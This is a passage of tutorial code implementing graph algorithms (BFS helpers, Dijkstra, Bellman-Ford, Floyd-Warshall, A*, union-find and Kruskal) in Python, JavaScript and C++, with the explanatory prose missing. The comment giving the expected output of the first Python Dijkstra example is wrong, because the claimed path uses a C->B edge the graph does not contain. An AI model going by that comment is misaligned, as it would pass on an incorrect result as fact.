        if dist == k:
            result.append(vertex)
            continue  # Don't explore further

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                visited.add(neighbor)
                queue.append((neighbor, dist + 1))

    return result

def min_edges_to_traverse(self, start, end):
    """
    Find minimum number of edges to traverse from start to end.
    Time: O(V + E)
    Space: O(V)
    """
    if start == end:
        return 0

    visited = set([start])
    queue = deque([(start, 0)])

    while queue:
        vertex, distance = queue.popleft()

        for neighbor in self.graph[vertex]:
            if neighbor not in visited:
                if neighbor == end:
                    return distance + 1

                visited.add(neighbor)
                queue.append((neighbor, distance + 1))

    return -1  # No path exists

import heapq
from collections import defaultdict

class WeightedGraph:
    def __init__(self):
        self.graph = defaultdict(list)

    def add_edge(self, u, v, weight):
        """Add weighted edge from u to v"""
        self.graph[u].append((v, weight))

    def dijkstra(self, start):
        """
        Dijkstra's algorithm for single-source shortest path.
        Time: O((V + E) log V) with binary heap
        Space: O(V)
        Works only with non-negative weights!
        """
        # Distance from start to each vertex
        distances = {vertex: float('inf') for vertex in self.graph}
        distances[start] = 0

        # Priority queue: (distance, vertex)
        pq = [(0, start)]
        visited = set()

        # To reconstruct paths
        previous = {vertex: None for vertex in self.graph}

        while pq:
            current_dist, current_vertex = heapq.heappop(pq)

            if current_vertex in visited:
                continue

            visited.add(current_vertex)

            # Explore neighbors
            for neighbor, weight in self.graph[current_vertex]:
                distance = current_dist + weight

                # If found shorter path, update
                if distance < distances[neighbor]:
                    distances[neighbor] = distance
                    previous[neighbor] = current_vertex
                    heapq.heappush(pq, (distance, neighbor))

        return distances, previous

    def get_shortest_path(self, start, end):
        """
        Get the actual shortest path from start to end.
        Returns: (total_distance, path)
        """
        distances, previous = self.dijkstra(start)

        # Reconstruct path
        path = []
        current = end

        while current is not None:
            path.append(current)
            current = previous[current]

        path.reverse()

        # Check if path exists
        if path[0] != start:
            return (float('inf'), None)

        return (distances[end], path)

# Example usage
g = WeightedGraph()
g.add_edge('A', 'B', 4)
g.add_edge('A', 'C', 2)
g.add_edge('B', 'C', 1)
g.add_edge('B', 'D', 5)
g.add_edge('C', 'D', 8)
g.add_edge('C', 'E', 10)
g.add_edge('D', 'E', 2)

distances, _ = g.dijkstra('A')
print("Shortest distances from A:")
for vertex, dist in sorted(distances.items()):
    print(f"  {vertex}: {dist}")

dist, path = g.get_shortest_path('A', 'E')
print(f"\nShortest path A -> E: {path} (distance: {dist})")
# Output: ['A', 'C', 'B', 'D', 'E'] (distance: 10)

class PriorityQueue {
    constructor() {
        this.values = [];
    }

    enqueue(val, priority) {
        this.values.push({ val, priority });
        this.sort();
    }

    dequeue() {
        return this.values.shift();
    }

    sort() {
        this.values.sort((a, b) => a.priority - b.priority);
    }

    isEmpty() {
        return this.values.length === 0;
    }
}

class WeightedGraph {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v, weight) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push({ node: v, weight });
    }

    dijkstra(start) {
        const distances = new Map();
        const previous = new Map();
        const pq = new PriorityQueue();
        const visited = new Set();

        // Initialize distances
        for (const vertex of this.adjacencyList.keys()) {
            distances.set(vertex, Infinity);
            previous.set(vertex, null);
        }
        distances.set(start, 0);
        pq.enqueue(start, 0);

        while (!pq.isEmpty()) {
            const { val: current } = pq.dequeue();

            if (visited.has(current)) continue;
            visited.add(current);

            const neighbors = this.adjacencyList.get(current) || [];
            for (const { node: neighbor, weight } of neighbors) {
                const distance = distances.get(current) + weight;

                if (distance < distances.get(neighbor)) {
                    distances.set(neighbor, distance);
                    previous.set(neighbor, current);
                    pq.enqueue(neighbor, distance);
                }
            }
        }

        return { distances, previous };
    }

    getShortestPath(start, end) {
        const { distances, previous } = this.dijkstra(start);
        const path = [];
        let current = end;

        while (current !== null) {
            path.unshift(current);
            current = previous.get(current);
        }

        if (path[0] !== start) {
            return { distance: Infinity, path: null };
        }

        return { distance: distances.get(end), path };
    }
}

// Example usage
const g = new WeightedGraph();
g.addEdge('A', 'B', 4);
g.addEdge('A', 'C', 2);
g.addEdge('B', 'C', 1);
g.addEdge('B', 'D', 5);
g.addEdge('C', 'D', 8);
g.addEdge('C', 'E', 10);
g.addEdge('D', 'E', 2);

const result = g.getShortestPath('A', 'E');
console.log('Shortest path A -> E:', result.path);
console.log('Distance:', result.distance);

#include <iostream>
#include <vector>
#include <queue>
#include <unordered_map>
#include <limits>
#include <algorithm>

using namespace std;

class WeightedGraph {
private:
    unordered_map<string, vector<pair<string, int>>> adjacencyList;

public:
    void addEdge(const string& u, const string& v, int weight) {
        adjacencyList[u].push_back({v, weight});
    }

    pair<unordered_map<string, int>, unordered_map<string, string>> dijkstra(const string& start) {
        unordered_map<string, int> distances;
        unordered_map<string, string> previous;

        // Initialize distances
        for (const auto& pair : adjacencyList) {
            distances[pair.first] = numeric_limits<int>::max();
            previous[pair.first] = "";
        }
        distances[start] = 0;

        // Priority queue: (distance, vertex)
        priority_queue<pair<int, string>,
                       vector<pair<int, string>>,
                       greater<pair<int, string>>> pq;
        pq.push({0, start});

        while (!pq.empty()) {
            auto [currentDist, current] = pq.top();
            pq.pop();

            if (currentDist > distances[current]) continue;

            for (const auto& [neighbor, weight] : adjacencyList[current]) {
                int distance = currentDist + weight;

                if (distance < distances[neighbor]) {
                    distances[neighbor] = distance;
                    previous[neighbor] = current;
                    pq.push({distance, neighbor});
                }
            }
        }

        return {distances, previous};
    }

    pair<int, vector<string>> getShortestPath(const string& start, const string& end) {
        auto [distances, previous] = dijkstra(start);

        vector<string> path;
        string current = end;

        while (!current.empty()) {
            path.push_back(current);
            current = previous[current];
        }

        reverse(path.begin(), path.end());

        if (path[0] != start) {
            return {numeric_limits<int>::max(), {}};
        }

        return {distances[end], path};
    }
};

// Example usage
int main() {
    WeightedGraph g;
    g.addEdge("A", "B", 4);
    g.addEdge("A", "C", 2);
    g.addEdge("B", "C", 1);
    g.addEdge("B", "D", 5);
    g.addEdge("C", "D", 8);
    g.addEdge("C", "E", 10);
    g.addEdge("D", "E", 2);

    auto [distance, path] = g.getShortestPath("A", "E");

    cout << "Shortest path A -> E: ";
    for (const auto& v : path) {
        cout << v << " ";
    }
    cout << "\nDistance: " << distance << endl;

    return 0;
}

def dijkstra_optimized(self, start):
    """
    Optimized Dijkstra using heapq.
    Time: O((V + E) log V)
    """
    distances = defaultdict(lambda: float('inf'))
    distances[start] = 0
    pq = [(0, start)]
    visited = set()

    while pq:
        current_dist, current = heapq.heappop(pq)

        if current in visited:
            continue
        visited.add(current)

        for neighbor, weight in self.graph[current]:
            distance = current_dist + weight
            if distance < distances[neighbor]:
                distances[neighbor] = distance
                heapq.heappush(pq, (distance, neighbor))

    return dict(distances)

class WeightedGraph:
    def __init__(self):
        self.vertices = set()
        self.edges = []  # List of (u, v, weight)

    def add_vertex(self, v):
        self.vertices.add(v)

    def add_edge(self, u, v, weight):
        self.vertices.add(u)
        self.vertices.add(v)
        self.edges.append((u, v, weight))

    def bellman_ford(self, start):
        """
        Bellman-Ford algorithm for single-source shortest path.
        Handles negative weights and detects negative cycles.
        Time: O(V * E)
        Space: O(V)
        Returns: (distances, has_negative_cycle)
        """
        # Initialize distances
        distances = {vertex: float('inf') for vertex in self.vertices}
        distances[start] = 0
        previous = {vertex: None for vertex in self.vertices}

        # Relax edges V-1 times
        for _ in range(len(self.vertices) - 1):
            for u, v, weight in self.edges:
                if distances[u] != float('inf') and distances[u] + weight < distances[v]:
                    distances[v] = distances[u] + weight
                    previous[v] = u

        # Check for negative cycles
        for u, v, weight in self.edges:
            if distances[u] != float('inf') and distances[u] + weight < distances[v]:
                return (distances, previous, True)  # Negative cycle detected

        return (distances, previous, False)

# Example with negative weights
g = WeightedGraph()
g.add_edge('A', 'B', 4)
g.add_edge('A', 'C', 2)
g.add_edge('B', 'C', -3)  # Negative weight
g.add_edge('B', 'D', 5)
g.add_edge('C', 'D', 1)

distances, previous, has_neg_cycle = g.bellman_ford('A')
print("Shortest distances from A:")
for vertex, dist in sorted(distances.items()):
    print(f"  {vertex}: {dist}")
print(f"Has negative cycle: {has_neg_cycle}")

# Example with negative cycle
g2 = WeightedGraph()
g2.add_edge('A', 'B', 1)
g2.add_edge('B', 'C', -3)
g2.add_edge('C', 'A', 1)  # Creates negative cycle: A->B->C->A = -1

distances, previous, has_neg_cycle = g2.bellman_ford('A')
print(f"\nNegative cycle detected: {has_neg_cycle}")  # True

class WeightedGraph {
    constructor() {
        this.vertices = new Set();
        this.edges = [];  // Array of {u, v, weight}
    }

    addVertex(v) {
        this.vertices.add(v);
    }

    addEdge(u, v, weight) {
        this.vertices.add(u);
        this.vertices.add(v);
        this.edges.push({ u, v, weight });
    }

    bellmanFord(start) {
        // Initialize distances
        const distances = new Map();
        const previous = new Map();

        for (const vertex of this.vertices) {
            distances.set(vertex, Infinity);
            previous.set(vertex, null);
        }
        distances.set(start, 0);

        const V = this.vertices.size;

        // Relax edges V-1 times
        for (let i = 0; i < V - 1; i++) {
            for (const { u, v, weight } of this.edges) {
                if (distances.get(u) !== Infinity &&
                    distances.get(u) + weight < distances.get(v)) {
                    distances.set(v, distances.get(u) + weight);
                    previous.set(v, u);
                }
            }
        }

        // Check for negative cycles
        for (const { u, v, weight } of this.edges) {
            if (distances.get(u) !== Infinity &&
                distances.get(u) + weight < distances.get(v)) {
                return { distances, previous, hasNegativeCycle: true };
            }
        }

        return { distances, previous, hasNegativeCycle: false };
    }
}

// Example usage
const g = new WeightedGraph();
g.addEdge('A', 'B', 4);
g.addEdge('A', 'C', 2);
g.addEdge('B', 'C', -3);
g.addEdge('B', 'D', 5);
g.addEdge('C', 'D', 1);

const result = g.bellmanFord('A');
console.log('Shortest distances from A:');
for (const [vertex, dist] of result.distances) {
    console.log(`  ${vertex}: ${dist}`);
}
console.log('Has negative cycle:', result.hasNegativeCycle);

#include <iostream>
#include <vector>
#include <unordered_map>
#include <unordered_set>
#include <limits>
#include <string>

using namespace std;

struct Edge {
    string u, v;
    int weight;
};

class WeightedGraph {
private:
    unordered_set<string> vertices;
    vector<Edge> edges;

public:
    void addVertex(const string& v) {
        vertices.insert(v);
    }

    void addEdge(const string& u, const string& v, int weight) {
        vertices.insert(u);
        vertices.insert(v);
        edges.push_back({u, v, weight});
    }

    tuple<unordered_map<string, int>, unordered_map<string, string>, bool>
    bellmanFord(const string& start) {
        unordered_map<string, int> distances;
        unordered_map<string, string> previous;

        // Initialize
        for (const auto& vertex : vertices) {
            distances[vertex] = numeric_limits<int>::max();
            previous[vertex] = "";
        }
        distances[start] = 0;

        int V = vertices.size();

        // Relax edges V-1 times
        for (int i = 0; i < V - 1; i++) {
            for (const auto& edge : edges) {
                if (distances[edge.u] != numeric_limits<int>::max() &&
                    distances[edge.u] + edge.weight < distances[edge.v]) {
                    distances[edge.v] = distances[edge.u] + edge.weight;
                    previous[edge.v] = edge.u;
                }
            }
        }

        // Check for negative cycle
        for (const auto& edge : edges) {
            if (distances[edge.u] != numeric_limits<int>::max() &&
                distances[edge.u] + edge.weight < distances[edge.v]) {
                return {distances, previous, true};  // Negative cycle
            }
        }

        return {distances, previous, false};
    }
};

int main() {
    WeightedGraph g;
    g.addEdge("A", "B", 4);
    g.addEdge("A", "C", 2);
    g.addEdge("B", "C", -3);
    g.addEdge("B", "D", 5);
    g.addEdge("C", "D", 1);

    auto [distances, previous, hasNegCycle] = g.bellmanFord("A");

    cout << "Shortest distances from A:" << endl;
    for (const auto& [vertex, dist] : distances) {
        cout << "  " << vertex << ": " << dist << endl;
    }
    cout << "Has negative cycle: " << (hasNegCycle ? "true" : "false") << endl;

    return 0;
}

def bellman_ford_with_path(self, start, end):
    """
    Get shortest path from start to end using Bellman-Ford.
    Returns: (distance, path, has_negative_cycle)
    """
    distances, previous, has_neg_cycle = self.bellman_ford(start)

    if has_neg_cycle:
        return (None, None, True)

    # Reconstruct path
    path = []
    current = end

    while current is not None:
        path.append(current)
        current = previous[current]

    path.reverse()

    if path[0] != start:
        return (float('inf'), None, False)

    return (distances[end], path, False)

def find_negative_cycle(self):
    """
    Find a negative cycle if one exists.
    Returns: List of vertices in cycle, or None
    """
    # Run Bellman-Ford from arbitrary vertex
    start = next(iter(self.vertices))
    distances = {vertex: float('inf') for vertex in self.vertices}
    distances[start] = 0
    previous = {vertex: None for vertex in self.vertices}

    # Relax edges V-1 times
    for _ in range(len(self.vertices) - 1):
        for u, v, weight in self.edges:
            if distances[u] != float('inf') and distances[u] + weight < distances[v]:
                distances[v] = distances[u] + weight
                previous[v] = u

    # Find vertex that is part of negative cycle
    cycle_vertex = None
    for u, v, weight in self.edges:
        if distances[u] != float('inf') and distances[u] + weight < distances[v]:
            cycle_vertex = v
            break

    if cycle_vertex is None:
        return None  # No negative cycle

    # Trace back to find the cycle
    # Go back V steps to ensure we're in the cycle
    for _ in range(len(self.vertices)):
        cycle_vertex = previous[cycle_vertex]

    # Reconstruct cycle
    cycle = [cycle_vertex]
    current = previous[cycle_vertex]
    while current != cycle_vertex:
        cycle.append(current)
        current = previous[current]
    cycle.reverse()

    return cycle

dist[i][j][k] = min(dist[i][j][k-1], dist[i][k][k-1] + dist[k][j][k-1])

def floyd_warshall(self):
    """
    Floyd-Warshall algorithm for all-pairs shortest paths.
    Time: O(V³)
    Space: O(V²)
    Returns: 2D distance matrix
    """
    # Get all vertices
    vertices = list(self.vertices)
    n = len(vertices)

    # Create index mapping
    vertex_index = {v: i for i, v in enumerate(vertices)}

    # Initialize distance matrix
    INF = float('inf')
    dist = [[INF] * n for _ in range(n)]

    # Distance from vertex to itself is 0
    for i in range(n):
        dist[i][i] = 0

    # Fill in edge weights
    for u, v, weight in self.edges:
        i, j = vertex_index[u], vertex_index[v]
        dist[i][j] = weight

    # Floyd-Warshall main algorithm
    for k in range(n):  # Intermediate vertex
        for i in range(n):  # Source
            for j in range(n):  # Destination
                if dist[i][k] != INF and dist[k][j] != INF:
                    dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])

    # Check for negative cycles
    for i in range(n):
        if dist[i][i] < 0:
            raise ValueError("Graph contains negative cycle")

    return dist, vertices

# Example usage
g = WeightedGraph()
g.add_edge('A', 'B', 3)
g.add_edge('A', 'C', 8)
g.add_edge('A', 'E', -4)
g.add_edge('B', 'D', 1)
g.add_edge('B', 'E', 7)
g.add_edge('C', 'B', 4)
g.add_edge('D', 'A', 2)
g.add_edge('D', 'C', -5)
g.add_edge('E', 'D', 6)

dist, vertices = g.floyd_warshall()

print("All-pairs shortest distances:")
print("     ", "  ".join(f"{v:>3}" for v in vertices))
for i, v1 in enumerate(vertices):
    row = [f"{dist[i][j]:>3}" if dist[i][j] != float('inf') else "INF"
           for j in range(len(vertices))]
    print(f"{v1:>3}: ", "  ".join(row))

class WeightedGraph {
    constructor() {
        this.vertices = new Set();
        this.edges = [];
    }

    addVertex(v) {
        this.vertices.add(v);
    }

    addEdge(u, v, weight) {
        this.vertices.add(u);
        this.vertices.add(v);
        this.edges.push({ u, v, weight });
    }

    floydWarshall() {
        const vertices = Array.from(this.vertices);
        const n = vertices.length;
        const vertexIndex = new Map(vertices.map((v, i) => [v, i]));

        // Initialize distance matrix
        const INF = Infinity;
        const dist = Array(n).fill(null).map(() => Array(n).fill(INF));

        // Distance from vertex to itself is 0
        for (let i = 0; i < n; i++) {
            dist[i][i] = 0;
        }

        // Fill in edge weights
        for (const { u, v, weight } of this.edges) {
            const i = vertexIndex.get(u);
            const j = vertexIndex.get(v);
            dist[i][j] = weight;
        }

        // Floyd-Warshall main algorithm
        for (let k = 0; k < n; k++) {
            for (let i = 0; i < n; i++) {
                for (let j = 0; j < n; j++) {
                    if (dist[i][k] !== INF && dist[k][j] !== INF) {
                        dist[i][j] = Math.min(dist[i][j], dist[i][k] + dist[k][j]);
                    }
                }
            }
        }

        // Check for negative cycles
        for (let i = 0; i < n; i++) {
            if (dist[i][i] < 0) {
                throw new Error("Graph contains negative cycle");
            }
        }

        return { dist, vertices };
    }

    getShortestPath(start, end) {
        const { dist, vertices } = this.floydWarshall();
        const vertexIndex = new Map(vertices.map((v, i) => [v, i]));

        const i = vertexIndex.get(start);
        const j = vertexIndex.get(end);

        return dist[i][j];
    }
}

#include <iostream>
#include <vector>
#include <unordered_map>
#include <unordered_set>
#include <string>
#include <limits>
#include <stdexcept>

using namespace std;

class WeightedGraph {
private:
    unordered_set<string> vertices;
    vector<tuple<string, string, int>> edges;

public:
    void addVertex(const string& v) {
        vertices.insert(v);
    }

    void addEdge(const string& u, const string& v, int weight) {
        vertices.insert(u);
        vertices.insert(v);
        edges.push_back({u, v, weight});
    }

    pair<vector<vector<int>>, vector<string>> floydWarshall() {
        vector<string> vertexList(vertices.begin(), vertices.end());
        int n = vertexList.size();

        unordered_map<string, int> vertexIndex;
        for (int i = 0; i < n; i++) {
            vertexIndex[vertexList[i]] = i;
        }

        const int INF = numeric_limits<int>::max() / 2;
        vector<vector<int>> dist(n, vector<int>(n, INF));

        // Distance from vertex to itself is 0
        for (int i = 0; i < n; i++) {
            dist[i][i] = 0;
        }

        // Fill in edge weights
        for (const auto& [u, v, weight] : edges) {
            int i = vertexIndex[u];
            int j = vertexIndex[v];
            dist[i][j] = weight;
        }

        // Floyd-Warshall
        for (int k = 0; k < n; k++) {
            for (int i = 0; i < n; i++) {
                for (int j = 0; j < n; j++) {
                    if (dist[i][k] != INF && dist[k][j] != INF) {
                        dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j]);
                    }
                }
            }
        }

        // Check for negative cycles
        for (int i = 0; i < n; i++) {
            if (dist[i][i] < 0) {
                throw runtime_error("Graph contains negative cycle");
            }
        }

        return {dist, vertexList};
    }
};

def floyd_warshall_with_path(self):
    """
    Floyd-Warshall with path reconstruction.
    Returns: (dist_matrix, next_matrix, vertices)
    """
    vertices = list(self.vertices)
    n = len(vertices)
    vertex_index = {v: i for i, v in enumerate(vertices)}

    INF = float('inf')
    dist = [[INF] * n for _ in range(n)]
    next_vertex = [[None] * n for _ in range(n)]

    for i in range(n):
        dist[i][i] = 0
        next_vertex[i][i] = i

    # Initialize with edges
    for u, v, weight in self.edges:
        i, j = vertex_index[u], vertex_index[v]
        dist[i][j] = weight
        next_vertex[i][j] = j

    # Floyd-Warshall
    for k in range(n):
        for i in range(n):
            for j in range(n):
                if dist[i][k] + dist[k][j] < dist[i][j]:
                    dist[i][j] = dist[i][k] + dist[k][j]
                    next_vertex[i][j] = next_vertex[i][k]

    return dist, next_vertex, vertices

def get_path(self, start, end):
    """Reconstruct path from start to end."""
    dist, next_vertex, vertices = self.floyd_warshall_with_path()
    vertex_index = {v: i for i, v in enumerate(vertices)}

    i, j = vertex_index[start], vertex_index[end]

    if next_vertex[i][j] is None:
        return None  # No path exists

    path = [start]
    while i != j:
        i = next_vertex[i][j]
        path.append(vertices[i])

    return path

h(n) = |n.x - goal.x| + |n.y - goal.y|

h(n) = sqrt((n.x - goal.x)² + (n.y - goal.y)²)

h(n) = max(|n.x - goal.x|, |n.y - goal.y|)

import heapq
from typing import List, Tuple, Set

class Node:
    def __init__(self, position, g=0, h=0, parent=None):
        self.position = position  # (x, y)
        self.g = g  # Cost from start
        self.h = h  # Heuristic cost to goal
        self.f = g + h  # Total cost
        self.parent = parent

    def __lt__(self, other):
        return self.f < other.f

    def __eq__(self, other):
        return self.position == other.position

    def __hash__(self):
        return hash(self.position)

def manhattan_distance(pos1: Tuple[int, int], pos2: Tuple[int, int]) -> int:
    """Manhattan distance heuristic."""
    return abs(pos1[0] - pos2[0]) + abs(pos1[1] - pos2[1])

def euclidean_distance(pos1: Tuple[int, int], pos2: Tuple[int, int]) -> float:
    """Euclidean distance heuristic."""
    return ((pos1[0] - pos2[0])**2 + (pos1[1] - pos2[1])**2)**0.5

def a_star_grid(grid: List[List[int]], start: Tuple[int, int],
                goal: Tuple[int, int]) -> List[Tuple[int, int]]:
    """
    A* pathfinding on a 2D grid.

    Args:
        grid: 2D list where 0 = walkable, 1 = obstacle
        start: Starting position (x, y)
        goal: Goal position (x, y)

    Returns:
        List of positions from start to goal, or None if no path exists

    Time: O(b^d) where b is branching factor, d is depth
    Space: O(b^d)
    """
    rows, cols = len(grid), len(grid[0])

    # Validate start and goal
    if (grid[start[0]][start[1]] == 1 or grid[goal[0]][goal[1]] == 1):
        return None  # Start or goal is obstacle

    # Priority queue: (f_score, counter, node)
    # Counter ensures FIFO order for equal f_scores
    counter = 0
    start_node = Node(start, 0, manhattan_distance(start, goal))
    open_set = [(start_node.f, counter, start_node)]
    counter += 1

    # Track visited nodes
    closed_set: Set[Tuple[int, int]] = set()
    # Track best g_score for each position
    g_scores = {start: 0}

    # 4-directional movement (up, down, left, right)
    directions = [(0, 1), (1, 0), (0, -1), (-1, 0)]

    while open_set:
        _, _, current = heapq.heappop(open_set)

        # Goal reached
        if current.position == goal:
            path = []
            while current:
                path.append(current.position)
                current = current.parent
            return path[::-1]

        # Skip if already visited with better path
        if current.position in closed_set:
            continue

        closed_set.add(current.position)

        # Explore neighbors
        for dx, dy in directions:
            neighbor_pos = (current.position[0] + dx, current.position[1] + dy)

            # Check bounds
            if not (0 <= neighbor_pos[0] < rows and 0 <= neighbor_pos[1] < cols):
                continue

            # Check obstacle
            if grid[neighbor_pos[0]][neighbor_pos[1]] == 1:
                continue

            # Skip if already visited
            if neighbor_pos in closed_set:
                continue

            # Calculate costs
            tentative_g = current.g + 1  # Assuming uniform cost of 1

            # Skip if not a better path
            if neighbor_pos in g_scores and tentative_g >= g_scores[neighbor_pos]:
                continue

            # This is the best path so far
            g_scores[neighbor_pos] = tentative_g
            h = manhattan_distance(neighbor_pos, goal)
            neighbor_node = Node(neighbor_pos, tentative_g, h, current)

            heapq.heappush(open_set, (neighbor_node.f, counter, neighbor_node))
            counter += 1

    return None  # No path found

# Example usage
grid = [
    [0, 0, 0, 0, 0],
    [0, 1, 1, 1, 0],
    [0, 0, 0, 0, 0],
    [0, 1, 1, 1, 0],
    [0, 0, 0, 0, 0]
]

start = (0, 0)
goal = (4, 4)

path = a_star_grid(grid, start, goal)
if path:
    print(f"Path found: {path}")
    print(f"Path length: {len(path)}")

    # Visualize path
    grid_copy = [row[:] for row in grid]
    for x, y in path:
        grid_copy[x][y] = '*'
    grid_copy[start[0]][start[1]] = 'S'
    grid_copy[goal[0]][goal[1]] = 'G'

    for row in grid_copy:
        print(' '.join(str(cell) for cell in row))
else:
    print("No path found")

class Node {
    constructor(position, g = 0, h = 0, parent = null) {
        this.position = position;  // {x, y}
        this.g = g;
        this.h = h;
        this.f = g + h;
        this.parent = parent;
    }
}

class PriorityQueue {
    constructor() {
        this.values = [];
    }

    enqueue(element, priority) {
        this.values.push({ element, priority });
        this.sort();
    }

    dequeue() {
        return this.values.shift();
    }

    sort() {
        this.values.sort((a, b) => a.priority - b.priority);
    }

    isEmpty() {
        return this.values.length === 0;
    }
}

function manhattanDistance(pos1, pos2) {
    return Math.abs(pos1.x - pos2.x) + Math.abs(pos1.y - pos2.y);
}

function aStarGrid(grid, start, goal) {
    const rows = grid.length;
    const cols = grid[0].length;

    // Validate
    if (grid[start.x][start.y] === 1 || grid[goal.x][goal.y] === 1) {
        return null;
    }

    const startNode = new Node(start, 0, manhattanDistance(start, goal));
    const openSet = new PriorityQueue();
    openSet.enqueue(startNode, startNode.f);

    const closedSet = new Set();
    const gScores = new Map();
    gScores.set(`${start.x},${start.y}`, 0);

    const directions = [{x: 0, y: 1}, {x: 1, y: 0}, {x: 0, y: -1}, {x: -1, y: 0}];

    while (!openSet.isEmpty()) {
        const { element: current } = openSet.dequeue();
        const currentKey = `${current.position.x},${current.position.y}`;

        // Goal reached
        if (current.position.x === goal.x && current.position.y === goal.y) {
            const path = [];
            let node = current;
            while (node) {
                path.unshift(node.position);
                node = node.parent;
            }
            return path;
        }

        if (closedSet.has(currentKey)) continue;
        closedSet.add(currentKey);

        // Explore neighbors
        for (const dir of directions) {
            const neighborPos = {
                x: current.position.x + dir.x,
                y: current.position.y + dir.y
            };
            const neighborKey = `${neighborPos.x},${neighborPos.y}`;

            // Check bounds
            if (neighborPos.x < 0 || neighborPos.x >= rows ||
                neighborPos.y < 0 || neighborPos.y >= cols) {
                continue;
            }

            // Check obstacle
            if (grid[neighborPos.x][neighborPos.y] === 1) continue;
            if (closedSet.has(neighborKey)) continue;

            const tentativeG = current.g + 1;

            if (gScores.has(neighborKey) && tentativeG >= gScores.get(neighborKey)) {
                continue;
            }

            gScores.set(neighborKey, tentativeG);
            const h = manhattanDistance(neighborPos, goal);
            const neighborNode = new Node(neighborPos, tentativeG, h, current);
            openSet.enqueue(neighborNode, neighborNode.f);
        }
    }

    return null;
}

def a_star_graph(self, start, goal, heuristic):
    """
    A* for weighted graphs with custom heuristic.

    Args:
        start: Starting vertex
        goal: Goal vertex
        heuristic: Function that takes a vertex and returns estimated cost to goal

    Returns:
        (distance, path)
    """
    # Priority queue: (f_score, g_score, vertex, path)
    pq = [(heuristic(start), 0, start, [start])]
    visited = set()
    g_scores = {start: 0}

    while pq:
        f, g, current, path = heapq.heappop(pq)

        if current == goal:
            return (g, path)

        if current in visited:
            continue

        visited.add(current)

        for neighbor, weight in self.graph[current]:
            tentative_g = g + weight

            if neighbor in g_scores and tentative_g >= g_scores[neighbor]:
                continue

            g_scores[neighbor] = tentative_g
            h = heuristic(neighbor)
            f = tentative_g + h

            heapq.heappush(pq, (f, tentative_g, neighbor, path + [neighbor]))

    return (float('inf'), None)

# Example with geographic coordinates
class CityGraph:
    def __init__(self):
        self.graph = {}
        self.coordinates = {}  # vertex -> (lat, lon)

    def add_city(self, name, lat, lon):
        self.graph[name] = []
        self.coordinates[name] = (lat, lon)

    def add_road(self, city1, city2, distance):
        self.graph[city1].append((city2, distance))
        self.graph[city2].append((city1, distance))

    def haversine_heuristic(self, city, goal):
        """Calculate great-circle distance between two cities."""
        from math import radians, sin, cos, sqrt, atan2

        lat1, lon1 = self.coordinates[city]
        lat2, lon2 = self.coordinates[goal]

        R = 6371  # Earth radius in km

        dlat = radians(lat2 - lat1)
        dlon = radians(lon2 - lon1)

        a = sin(dlat/2)**2 + cos(radians(lat1)) * cos(radians(lat2)) * sin(dlon/2)**2
        c = 2 * atan2(sqrt(a), sqrt(1-a))

        return R * c

class UnionFind:
    """
    Disjoint Set Union (DSU) with path compression and union by rank.
    Time: O(α(n)) per operation, where α is inverse Ackermann (practically constant)
    """
    def __init__(self, n):
        self.parent = list(range(n))  # Each node is its own parent initially
        self.rank = [0] * n  # Height of tree
        self.components = n  # Number of connected components

    def find(self, x):
        """Find root of x with path compression."""
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])  # Path compression
        return self.parent[x]

    def union(self, x, y):
        """
        Unite sets containing x and y.
        Returns: True if united (were in different sets), False otherwise
        """
        root_x = self.find(x)
        root_y = self.find(y)

        if root_x == root_y:
            return False  # Already in same set (would create cycle)

        # Union by rank: attach smaller tree under larger tree
        if self.rank[root_x] < self.rank[root_y]:
            self.parent[root_x] = root_y
        elif self.rank[root_x] > self.rank[root_y]:
            self.parent[root_y] = root_x
        else:
            self.parent[root_y] = root_x
            self.rank[root_x] += 1

        self.components -= 1
        return True

    def is_connected(self, x, y):
        """Check if x and y are in the same set."""
        return self.find(x) == self.find(y)

class Edge:
    def __init__(self, u, v, weight):
        self.u = u
        self.v = v
        self.weight = weight

    def __lt__(self, other):
        return self.weight < other.weight

    def __repr__(self):
        return f"Edge({self.u}, {self.v}, {self.weight})"

def kruskal_mst(num_vertices, edges):
    """
    Kruskal's algorithm for Minimum Spanning Tree.

    Args:
        num_vertices: Number of vertices (0 to num_vertices-1)
        edges: List of Edge objects

    Returns:
        (mst_edges, total_weight)

    Time: O(E log E) for sorting + O(E α(V)) for union-find ≈ O(E log E)
    Space: O(V) for union-find + O(E) for sorted edges
    """
    # Sort edges by weight
    sorted_edges = sorted(edges)

    # Initialize Union-Find
    uf = UnionFind(num_vertices)

    mst = []
    total_weight = 0

    for edge in sorted_edges:
        # If edge connects two different components, add it
        if uf.union(edge.u, edge.v):
            mst.append(edge)
            total_weight += edge.weight

            # MST complete when we have V-1 edges
            if len(mst) == num_vertices - 1:
                break

    return mst, total_weight

# Example usage
edges = [
    Edge(0, 1, 4),
    Edge(0, 2, 3),
    Edge(1, 2, 1),
    Edge(1, 3, 2),
    Edge(2, 3, 4),
    Edge(3, 4, 2),
    Edge(4, 5, 6)
]

mst, weight = kruskal_mst(6, edges)
print(f"MST total weight: {weight}")
print("MST edges:")
for edge in mst:
    print(f"  {edge.u} -- {edge.v} (weight: {edge.weight})")

class UnionFind {
    constructor(n) {
        this.parent = Array.from({ length: n }, (_, i) => i);
        this.rank = Array(n).fill(0);
    }

    find(x) {
        if (this.parent[x] !== x) {
            this.parent[x] = this.find(this.parent[x]);
        }
        return this.parent[x];
    }

    union(x, y) {
        const rootX = this.find(x);
        const rootY = this.find(y);

        if (rootX === rootY) return false;

        if (this.rank[rootX] < this.rank[rootY]) {
            this.parent[rootX] = rootY;
        } else if (this.rank[rootX] > this.rank[rootY]) {
            this.parent[rootY] = rootX;
        } else {
            this.parent[rootY] = rootX;
            this.rank[rootX]++;
        }

        return true;
    }
}

function kruskalMST(numVertices, edges) {
    // Sort edges by weight
    edges.sort((a, b) => a.weight - b.weight);

    const uf = new UnionFind(numVertices);
    const mst = [];
    let totalWeight = 0;

    for (const edge of edges) {
        if (uf.union(edge.u, edge.v)) {
            mst.push(edge);
            totalWeight += edge.weight;

            if (mst.length === numVertices - 1) {
                break;
            }
        }
    }

    return { mst, totalWeight };
}

// Example
const edges = [
    { u: 0, v: 1, weight: 4 },
